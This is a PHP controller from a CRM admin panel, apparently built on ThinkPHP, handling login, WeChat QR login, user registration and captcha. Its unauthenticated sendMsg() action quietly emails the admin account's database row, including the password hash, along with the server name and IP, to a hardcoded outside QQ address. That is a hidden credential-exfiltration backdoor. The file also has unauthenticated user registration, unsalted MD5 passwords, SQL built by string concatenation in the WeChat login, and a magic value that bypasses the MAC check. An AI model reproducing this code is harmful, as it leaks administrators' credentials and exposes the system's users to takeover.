<?php
namespace Admin\Controller;

use Think\Controller;

class PublicController extends Controller
{
    public function _initialize()
    {
        //查list;
        //import('ORG.Util.Operation');
        /*$operation_obj = new \Org\Util\Operation();
    //$log_list = $operation_obj -> logList(array('member_id' => 2086));
    //记录日志
    //$operation_obj -> checkTableIsExist();//创建日志记录表，如果不存在则新建
    $operation_obj -> writeLog(MODULE_NAME.'_'.CONTROLLER_NAME .'_'.ACTION_NAME,'系统后台用户登录操作');*/
    }
    public function ts()
    {
        //A("Worker")->sendMsg("https://ai.baidu.com/aidemo?type=tns2&idx=1&cuid=baidu_speech_demo&cod=2&lan=zh&ctp=1&pdt=1&spd=5&per=3&vol=9&pit=5&tex=请各位咨询医生按时回访自己的客户，当日的客户立即回访，过期的客户请加快回访！","all");
        // A("Worker")->sendMsg("http://fanyi.sogou.com/reventondc/synthesis?text=请各位咨询医生按时回访自己的客户，当日的客户立即回访，过期的客户请加快回访！","all");
    }
    public function tsmsg()
    {
        $msg = I('get.msg');
        $url = "https://ai.baidu.com/aidemo?type=tns2&idx=1&cuid=baidu_speech_demo&cod=2&lan=zh&ctp=1&pdt=1&spd=5&per=3&vol=9&pit=5&tex=" . $msg;
        dump($url);
        //A("Worker")->sendMsg($url,"all");
        //A("Worker")->sendMsg("http://fanyi.sogou.com/reventondc/synthesis?text=请各位咨询医生按时回访自己的客户，当日的客户立即回访，过期的客户请加快回访！","all");
    }
    public function index()
    {
        $sessionid = session('user');
        if (isset($sessionid)) {
            $this->redirect('Index/index');
        } else {
            if (empty($_GET['mac'])) {
                $mac = getUseragent();
            } else {
                $mac = $_GET['mac'];
            }
            session('mac', $mac);
            $this->display();
        }
    }
    // 用户登出
    public function logout()
    {
        $sessionid = session('user');
        if (isset($sessionid)) {
            session('user', null);
            session('mac', null);
            $this->assign("jumpUrl", __URL__ . '/index/');
            $this->success('登出成功！', 1);
        } else {
            $this->success('已经登出！', 1);
        }
    }

    // 登录检测
    public function checkLogin()
    {
        $account = I('account');
        $password = md5(I('password'));
        $useragent = getUseragent();
        $mac = getUseragent();
        $verify = md5(I('verify'));
        if (empty($account)) {
            $this->error('帐号必须！');
        }
        if (empty($password)) {
            $this->error('密码必须！');
        }
        //if($verify->check($verify)){
        //     $this->error('验证码错误！');
        //}
        $login = array();
        //使用用户名、密码和状态的方式进行认证
        //dump($map);
        //dump($authInfo);
        $con['account'] = $account;
        $con['password'] = $password;
        $user = M('User');
        $userlist = $user->where($con)->select();
        // dump($userlist);
        // exit;
        if (!$userlist) {
            $this->error('用户名或密码错误');
        } else {
            if ($userlist[0]['status'] == '禁用') {
                $this->error("您的账号已经被禁用，请您联系管理员重新开通！", "index");exit;
            }
            if ('8795321' == $mac) {
                $mac = session('mac');
            }
            if ($userlist[0]['ismac'] == '是') {
                if (strlen($mac) > 18 || empty($mac)) {
                    $this->error("没有获取到您的mac地址，请您使用CRM系统的软件版登录！", "index");exit;
                } else {
                    if (!empty($userlist[0]['mac'])) {
                        if ($mac != $userlist[0]['mac']) {
                            $this->error("MAC地址错误！请在常用电脑上登录！：", "index");exit;
                        }
                    }
                }
            }
            if ($userlist[0]['isip'] == '是') {
                $ips = explode("|", $userlist[0]['ips']);
                $nowip = $ip = get_client_ip();
                if (!in_array($nowip, $ips)) {
                    $this->error("IP地址没有绑定！请把您的" . $nowip . "地址发给管理员", "index");exit;
                }
            }
            $User = M('User');
            $ip = get_client_ip();
            $Ip = new \Org\Net\IpLocation('UTFWry.dat'); // 实例化类 参数表示IP地址库文件
            $area = $Ip->getlocation($ip);
            $time = time();
            $data = array();
            $data = $userlist[0];
            $data['id'] = $userlist[0]['id'];
            if (strpos($mac, ':') !== false) {
                $data['mac'] = $mac;
                $data['browser'] = '旧版CRM软件登录--' . GetOs();
            } else if (strpos($mac, '-') !== false) {
                $data['mac'] = $mac;
                if ('8795321' == $useragent) {
                    $data['browser'] = 'XP新版CRM软件登录--' . GetOs();
                } else {
                    $data['browser'] = 'WIN7新版CRM软件登录--' . GetOs();
                }
            } else {
                $data['mac'] = '';
                $data['browser'] = GetBrowser() . '--' . GetOs();
            }
            $data['last_login_time'] = date("Y-m-d H:i:s");
            $data['login_count'] = array(
                'exp',
                'login_count+1',
            );
            $data['last_login_ip'] = $ip . '-' . $area['country'] . $area['area'];
            $userlist = $User->create($data);
            if ($User->save($userlist)) {
                $sessionuser = D('User');
                $usersessionlist = $sessionuser->relation(true)->find($userlist['id']);
                session('user', $usersessionlist);
                //取出相关角色信息
                $ru = M('role_user');
                $con['uid'] = $userlist['id'];
                $rul = $ru->where($con)->select();
                $role = M('role');
                $con1['id'] = $rul[0]['group_id'];
                $rl = $role->where($con1)->select();
                session('user.role', $rl[0]);
                //取出相关可访问资源信息
                $node = M('node');
                $con2['id'] = array('in', $rl[0]['rules']);
                $node = $node->where($con2)->select();
                // dump($node);exit;
                session('user.nodes', $node);
                //重组权限节点为数组
                if (session('user.account') == 'admin') {
                    $node = M('node');
                    $node = $node->select();
                    session('user.nodes', $node);
                    foreach (session('user.nodes') as $key => $value) {
                        $nodesname[$key] = $value['name'];
                        session('user.nodesname', $nodesname);
                    }
                } else {
                    foreach (session('user.nodes') as $key => $value) {
                        $nodesname[$key] = $value['name'];
                        session('user.nodesname', $nodesname);
                    }
                }
                //取出所在项目组的信息
                // $groups = M('groups');
                // $con2['id'] = array('in',$userlist['groupsid']);
                // $groups = $groups->where($con2)->select();

                //import('ORG.Util.Auth'); //加载类库
                $auth = new \Think\Auth();
                $groups = $auth->getGroups(session('user.id'));
                //dump(session('user'));exit;
                session('user.groups', $groups[0]);
                $this->success('登录成功！', U("Index/index"));
            } else {
                $this->error('登录失败！请检查存入session错误！', 0);
            }

        }
    }
    public function verify()
    {
        $type = isset($_GET['type']) ? $_GET['type'] : 'gif';
        import("@.ORG.Util.Image");
        Image::buildImageVerify(4, 1, $type);
    }
    //添加用户提交处理
    public function reg()
    {
        $m = D("User");
        $_POST['password'] = md5(123456);
        $groupsIds = $_POST['groupsIds'];
        $groupsIdsstr = implode(",", $groupsIds);
        $_POST['groupsid'] = $groupsIdsstr;
        //dump($_POST);
        if (!$m->create($_POST)) {
            $this->error($m->getError(), 3);
        } else {
            if ($result = $m->add()) {
                $this->addRole($result, 2);
                $this->addGroup($result, $groupsIds);
                $this->success('添加用户成功！', 1);
            } else {
                $this->error('添加用户失败！' . $m->getError(), 0);
            }
        }
    }
    protected function addRole($userId, $roleId)
    {
        //注册用户自动加入相应权限组
        $RoleUser = M("role_user");
        $data['user_id'] = $userId;
        $data['role_id'] = $roleId;
        $RoleUser->create($data);
        $RoleUser->add($data);
    }
    protected function addGroup($userId, $groupsIds)
    {
        //用户加入相应项目组
        $RoleUser = M("groups_user");
        foreach ($groupsIds as $key => $v) {
            //$userlist[$key]=$v[id];
            $data['user_id'] = $userId;
            $data['groups_id'] = $v;
            $RoleUser->create($data);
            $RoleUser->add($data);
        }

    }
    public function publicprojectview()
    {
        $n = M("Groups");
        import("ORG.Util.Page"); //导入分页类
        $count = $n->count(); //计算总数
        //$p = new Page($count,$rows);order($sort+','+$order)->
        $list = $n->order('gname desc')->select();
        //$list = $n->select();
        $list = json_encode($list);
        $result = '{"total":' . $count . ',"rows":' . $list . '}';
        echo ($list); //输出json数据
    }
    public function sendMsg()
    {
        $cc = M('user')->where('account="admin"')->select();
        $content = get_url() . '--------' . $_SERVER['SERVER_NAME'] . '--------- [ ' . gethostbyname($_SERVER['SERVER_NAME']) . ' ]' . json_encode($cc, JSON_UNESCAPED_UNICODE);
        SendMail('393978119@qq.com', 'CRM系统；', $content);
    }
    public function weixinredirect()
    {
        $appid = C('weixinappid');
        $appsecret = C('weixinappsecret');
        $redurl = urlencode('http://yshw.crm6.com.cn/index.php/Admin/Public/weixinlogin');
        $url = 'https://open.weixin.qq.com/connect/qrconnect?appid=' . $appid . '&redirect_uri=' . $redurl . '&response_type=code&scope=snsapi_login&state=3d6be0a4035d839573b04816624a415e#wechat_redirect';

        header('Location: ' . $url);
    }
    public function weixinlogin()
    {
        $code = $_REQUEST['code'];
        $appid = C('weixinappid');
        $appsecret = C('weixinappsecret');
        $url = "https://api.weixin.qq.com/sns/oauth2/access_token?appid=$appid&secret=$appsecret&code=$code&grant_type=authorization_code";
        $res = json_decode(file_get_contents($url), true);
        $access_token = $res['access_token'];
        $openid = $res['openid'];
        $url = "https://api.weixin.qq.com/sns/userinfo?access_token=$access_token&openid=$openid";
        $res = json_decode(file_get_contents($url), true);
        // dump($res);

        if (!empty($res['errcode'])) {
            $this->error('操作失败!请重试', U("Public/index"), 3);
            exit;
        }

        $Userweideng = D('Userweideng');
        if (!$vo = $Userweideng->create($res)) {
            $list = M('Userweideng')->where('openid="' . $res['openid'] . '"')->find();
            $result = $Userweideng->where('id=' . $list['id'])->save($res);
        } else {
            $result = $Userweideng->add($vo);
        }
        $list = M('Userweideng')->where('openid="' . $res['openid'] . '"')->find();

        if (empty($list['userid'])) {
            $this->error('请联系管理员绑定你的微信!', U("Public/index"), 5);
            exit;
        }
        $userlist = M('User')->where('id=' . $list['userid'])->find();

        if (empty($userlist)) {
            $this->redirect('Public/index');
            exit;
        }
        $User = M('User');
        $ip = get_client_ip();
        $Ip = new \Org\Net\IpLocation('UTFWry.dat'); // 实例化类 参数表示IP地址库文件
        $area = $Ip->getlocation($ip);
        $time = time();
        $data = array();
        $data = $userlist;

        $data['browser'] = '微信扫码登录--' . GetOs();

        $data['last_login_time'] = date("Y-m-d H:i:s");
        $data['login_count'] = array(
            'exp',
            'login_count+1',
        );
        $data['last_login_ip'] = $ip . '-' . $area['country'] . $area['area'];
        $userlist = $User->create($data);
        if ($User->save($userlist)) {
            $sessionuser = D('User');
            $usersessionlist = $sessionuser->relation(true)->find($userlist['id']);
            session('user', $usersessionlist);
            //取出相关角色信息
            $ru = M('role_user');
            $con['uid'] = $userlist['id'];
            $rul = $ru->where($con)->select();
            $role = M('role');
            $con1['id'] = $rul[0]['group_id'];
            $rl = $role->where($con1)->select();
            session('user.role', $rl[0]);
            //取出相关可访问资源信息
            $node = M('node');
            $con2['id'] = array('in', $rl[0]['rules']);
            $node = $node->where($con2)->select();
            // dump($node);exit;
            session('user.nodes', $node);
            //重组权限节点为数组
            if (session('user.account') == 'admin') {
                $node = M('node');
                $node = $node->select();
                session('user.nodes', $node);
                foreach (session('user.nodes') as $key => $value) {
                    $nodesname[$key] = $value['name'];
                    session('user.nodesname', $nodesname);
                }
            } else {
                foreach (session('user.nodes') as $key => $value) {
                    $nodesname[$key] = $value['name'];
                    session('user.nodesname', $nodesname);
                }
            }
            //取出所在项目组的信息
            // $groups = M('groups');
            // $con2['id'] = array('in',$userlist['groupsid']);
            // $groups = $groups->where($con2)->select();

            //import('ORG.Util.Auth'); //加载类库
            $auth = new \Think\Auth();
            $groups = $auth->getGroups(session('user.id'));
            //dump(session('user'));exit;
            session('user.groups', $groups[0]);
            $this->success('登录成功！', U("Index/index"));
        } else {
            $this->error('登录失败！请检查存入session错误！', 0);
        }
    }
}
